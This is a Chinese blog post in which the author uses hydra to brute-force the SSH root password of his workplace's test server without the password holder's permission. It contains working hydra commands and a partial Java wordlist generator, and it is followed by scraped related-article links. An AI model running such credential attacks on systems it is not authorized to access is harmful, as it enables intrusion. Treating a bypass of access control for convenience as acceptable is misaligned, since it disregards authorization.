概述

我都没想到,第一次暴力破解服务器密码。竟然是对自己的单位服务器出手。。囧,因为还没来得及找测试部要来服务器登录密码,测试部负责人已经下班走了。后来又联系不上,这要更新代码,怎么办。。于是就对测试部的服务器动了歪脑筋,试验一波爆破神器hydra,本篇随笔仅供技术交流。

hydra

关于hydra的历史就不多做介绍,毕竟这么强大来头应该不小。因为也是初次使用,就来得及瞄了一眼参考说明,然后就进入正题。这款工具不管在windows还是Centos都是可以安装的,lz因为有Kali这件安全测试神器,所以就免去安装hydra的痛苦。这个是自带hydra的

hydra工具使用和你在Linux使用命令区别并不大,先看下参考说明

-R  继续上一次进度破解

-S 采用SSL连接

-s PORT  指定非默认端口

-l  LOGIN 指定要破解的用户

-L FILE   指定用户名字典破解

-P FILE  指定要使用的密码字典破解

-C FILE 使用冒号分割的格式,如“login:pass”来替代-L/-P参数

-t TASKS  同时运行的线程数量

-w TIME  设置最大超时时间,单位秒

确认下和目标主机是否存活,假设目标主机是192.168.0.110  ping 192.168.0.110

因为是单位内部服务器,端口号是提前知道的,若对于一台完全陌生的主机,需要进行踩点和收集信息,先用kali自带的常用密码字典破解试试手

hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 11 -s 20000 ssh://192.168.0.110

经过尝试,发现无法完成破解。hydra破解是基于强大的密码字典工具,lz回想了一下测试部负责人常用的密码规律,于是自己写了一个密码字典组合

PassWord类

public class PassWord
{
public static void main(String[] args) throws Exception
{
BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new FileOutputStream("D://dic.txt"),"utf-8"));
String[] str = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"}; for (int i = 0;i < str.length;++i)
{
for (int j = 0;j < str.length;++j)
{
String tmp = "";
          //算法部分
out.write(tmp + "\n");
}
}
for (int i = str.length - 1;i > 0;i--)
{
for (int j = str.length - 1;j > 0;j--)
{
String tmp = "";
//算法部分
out.write(tmp + "\n");
}
}
/*不规范写法,临时需求*/
out.close();
System.out.println("密码本生成完毕!!!");
}
}

生成字典之后,将dic.txt文件移到kali目录下,再次尝试破解

hydra -l root -P /root/dic.txt -t 6 -s 20000 ssh://192.168.0.110

这次服务器密码成功被获取到了,接下来更新代码就简单了。

======================================================

如发现错误,请及时留言,lz及时修改,避免误导后来者。感谢!!!

hydra暴力破解ssh服务器密码的更多相关文章

  1. 使用Medusa美杜莎暴力破解SSH密码

    使用Medusa美杜莎暴力破解SSH密码 1.Medusa简介 Medusa(美杜莎)是一个速度快,支持大规模并行,模块化的爆力破解工具.可以同时对多个主机,用户或密码执行强力测试.Medusa和hy ...

  2. Fail2ban 防止暴力破解centos服务器的SSH或者FTP账户

    次尝试登陆root账户失败的情况.[说明服务器被攻击了]   logtarget = SYSLOG  #我们需要做的就是把这行改成/var/log/fail2ban.log,方便用来记录日志信息 so ...

  3. Linux 利用hosts.deny 防止暴力破解ssh(转)

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

  4. Linux 利用hosts.deny 防止暴力破解ssh

    一.ssh暴力破解 利用专业的破解程序,配合密码字典.登陆用户名,尝试登陆服务器,来进行破解密码,此方法,虽慢,但却很有效果. 二.暴力破解演示 2.1.基础环境:2台linux主机(centos 7 ...

  5. 暴力破解FTP服务器技术探讨与防范措施

    暴力破解FTP服务器技术探讨与防范措施 随着Internet的发展出现了由于大量傻瓜化黑客工具任何一种黑客攻击手段的门槛都降低了很多但是暴力破解法的工具制作都已经非常容易大家通常会认为暴力破解攻击只是 ...

  6. Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)

    目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux  python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...

  7. centos 7 DenyHosts 安装 防暴力破解ssh登陆

    为了减少软件扫描ssh登陆 还是用这个比较好点  默认端口号22 也要改 登陆密码也不要使用 弱口令 123456 这样的 Description DenyHosts is a python prog ...

  8. 10小时之内,暴力破解SSH账号的IP

    10小时之内,暴力破解SSH账号的IP,IP 地址数据来源于  ip138.com 182.18.76.246 北京市昌平区 北京亿安天下网络科技有限公司 联通 221.223.200.143 北京市 ...

  9. Hydra暴力破解工具的用法

    目录 Hydra 常见参数 破解SSH 破解FTP 破解HTTP 破解3389远程登录 Kali自带密码字典 dirb dirbuster fern-wifi metasploit wfuzz Hyd ...

随机推荐

  1. ubuntu10.04 安装oracle server 版 笔记

    1:从oracle 官网下载oracle 10g ,然后解压出一个database文件夹. 2 :创建RedHat的版本声明文件[默认ubuntu无法通过oracle 的检查] 在/etc/redha ...

  2. nginx配置 location及rewrite规则详解

    1. location正则写法 语法规则: location [=|~|~*|^~] /uri/ { … } =    开头表示精确匹配 ^~  开头表示uri以某个常规字符串开头,理解为匹配 url ...

  3. 使用ssh keys实现免验证登陆远程服务

    使用ssh keys实现免验证登陆远程服务========================Created 星期四 10 五月 2018 引言------------------程序员或者服务器运维人员 ...

  4. 源码分析Session的台前幕后(Asp .Net MVC5)

    在这篇文章里,我们从源代码的角度重点分析Session的创建.缓存.销毁.管理. 通常我们说的Session指的是在控制器中使用的Session字段,该字段的类型是HttpSessionState.可 ...

  5. HTML DOM对象的属性和方法

    HTML DOM对象的属性和方法 HTML DOM 对象有几种类型: 1.Document 类型 在浏览器中,Document 对象表示整个 HTML 文档. 1.1属性 引用文档的子节点 docum ...

  6. Map的四种遍历

    //Map的四种遍历方法 public static void main(String[] args) { Map<String, String> map = new HashMap< ...

  7. 格子刷油漆【动态规划问题】—NYOJ 980

    个人博客页:https://www.scriptboy.cn/198.html 出处:蓝桥杯 题目描述: X国的一段古城墙的顶端可以看成 2*N个格子组成的矩形(如下图所示),现需要把这些格子刷上保护 ...

  8. Tomcat 调优方案

    Tomcat的默认配置,性能并不是最优的,我们可以通过优化tomcat以此来提高网站的并发能力.提高Tomcat的性能可以分为两个方向. 服务器资源 服务器所能提供CPU.内存.硬盘的性能对处理能力有 ...

  9. AtomicInteger类的使用

    AtomicInteger介绍 AtomicInteger是一个提供原子操作的Integer类,通过线程安全的方式操作加减. AtomicInteger使用场景 AtomicInteger提供原子操作 ...

  10. linux简单内核链表排序

    #include <stdio.h> #include <stdlib.h> #define container_of(ptr, type, mem)(type *)((uns ...